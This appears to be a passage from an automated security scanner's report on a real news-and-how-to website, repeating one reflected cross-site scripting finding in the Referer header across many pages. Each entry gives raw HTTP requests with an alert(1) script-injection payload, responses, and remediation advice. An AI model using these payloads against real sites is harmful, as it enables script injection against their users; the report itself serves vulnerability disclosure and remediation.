Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_4127_home-alarm-system-guide.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=9f21b</script><script>alert(1)</script>3693e48b6e0
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:37 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=4127; expires=Thu, 02-Feb-2012 15:16:37 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 41825
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Home Alarm System Guide | eHow.com </title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0ca6</script><script>alert(1)</script>581ac46251c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_429_all-flu.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=f0ca6</script><script>alert(1)</script>581ac46251c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ee024</script><script>alert(1)</script>fab642986c6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_4989_photo-sharing-101.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=ee024</script><script>alert(1)</script>fab642986c6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:51 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=4989; expires=Thu, 02-Feb-2012 15:16:51 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 43021
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f643</script><script>alert(1)</script>ab7ae63df3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_49_treating-colds-flus.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=5f643</script><script>alert(1)</script>ab7ae63df3
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 964df</script><script>alert(1)</script>ee96ee1016b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_5023_jog-lose-weight.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=964df</script><script>alert(1)</script>ee96ee1016b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3c3e0</script><script>alert(1)</script>94ff7919eca was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_689_black-white-photos.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=3c3e0</script><script>alert(1)</script>94ff7919eca
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:53 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=689; expires=Thu, 02-Feb-2012 15:16:53 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 53252
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title> Take Black and White Photos - Taking Black and ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d3bef</script><script>alert(1)</script>29fd0f6f1e2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_745_capture-enduring-wedding-photos.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=d3bef</script><script>alert(1)</script>29fd0f6f1e2
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 99a28</script><script>alert(1)</script>52e623cc62d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_7853_floor-fountains-guide.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=99a28</script><script>alert(1)</script>52e623cc62d
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:34 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=7853; expires=Thu, 02-Feb-2012 15:16:34 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 40979
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14171</script><script>alert(1)</script>ec64a979418 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_7992_floor-water-fountains-101.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=14171</script><script>alert(1)</script>ec64a979418
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:32 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=7992; expires=Thu, 02-Feb-2012 15:16:32 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38141
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14963</script><script>alert(1)</script>b358eea976 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_8016_outdoor-garden-fountains-guide.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=14963</script><script>alert(1)</script>b358eea976
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:07 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: recentviewed=8016; expires=Thu, 02-Feb-2012 15:16:07 GMT; path=/ Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 40923
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 506a1</script><script>alert(1)</script>22a7977a460 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /topic_8047_water-garden-fountains-101.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=506a1</script><script>alert(1)</script>22a7977a460
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cb9af</script><script>alert(1)</script>afc6118e907 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /toys-and-games/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=cb9af</script><script>alert(1)</script>afc6118e907
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:26 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72435
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Toys & Games - How To Information | eHow.com</tit ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 512f2</script><script>alert(1)</script>feeb99e195a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /unavailable.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=512f2</script><script>alert(1)</script>feeb99e195a
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:13 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 23094
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Browse How to Videos and How to Articles | ehow.c ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9dd94</script><script>alert(1)</script>26c420d0b66 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /us-travel/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=9dd94</script><script>alert(1)</script>26c420d0b66
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:25 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75108
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>US Travel - How To Information | eHow.com</title> ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 554d2</script><script>alert(1)</script>ca7a2c01173 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /vacations-and-travel-planning/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=554d2</script><script>alert(1)</script>ca7a2c01173
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:26 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 75405
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Vacations & Travel Planning - How To Information ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9a348</script><script>alert(1)</script>3f3991beec1 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video_6598099_make-sugar-spice-scrub.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=9a348</script><script>alert(1)</script>3f3991beec1
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:01 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 83517
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>How to Make a Sugar & Spice Scrub: Gorgeously Gre ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a0e92</script><script>alert(1)</script>0488b8fbc31 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video_6976779_sensational-snacks.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=a0e92</script><script>alert(1)</script>0488b8fbc31
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:57 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 74807
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38ddd</script><script>alert(1)</script>7cb44e64c8b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /video_7199214_onion-flatbread-recipe.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=38ddd</script><script>alert(1)</script>7cb44e64c8b
Response
